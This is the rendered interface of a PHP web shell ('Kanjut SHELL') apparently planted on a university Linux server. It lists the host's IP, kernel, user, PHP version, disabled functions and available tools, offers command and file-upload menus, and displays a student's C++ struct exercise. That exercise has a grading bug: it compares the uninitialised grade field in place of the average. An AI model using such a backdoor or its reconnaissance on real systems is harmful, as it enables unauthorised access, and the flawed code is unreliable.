Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.133.157.231
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/acyurksaitis/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/acyurksaitis/struct1.cpp
#include<iostream>

using namespace std;

//define a new data type
struct StudentRec
{	string name;
	int scores [3];
	float avg;
	char grade;
};

int main ()
{
	// 1. delcare object or variable
	StudentRec x, y, z;
	// 2. input
	x.name = " Amy ";
	x.scores[0] = 77;
	x.scores[1] = 90;
	x.scores[2] = 99;
	// 3. computing
	x.avg = (x.scores[0] + x.scores[1] + x.scores[2])/3.0 ;

	// 4. output
	cout << "Student name:  "  << x.name << endl;
	cout << "Scores:  " << x.scores[0] << ", " <<  x.scores[1] << ", "
				 << x.scores[2] << endl;

	cout << "Test average:   " << x.avg << endl;
	if(x.avg > 90)
		x.grade = 'A';
	else if (x.avg > 80)
		x.grade = 'B';
	else if (x.grade > 70)
		x.grade = 'C';
	else if (x.grade > 60)
		 x.grade = 'D';
	else 
		x.grade = 'F' ;
 	cout << "Student's grade:  " << x.grade << endl;
	cout << "Done." << endl;
	
	return 0;
};
	

Stv3n404 - 2023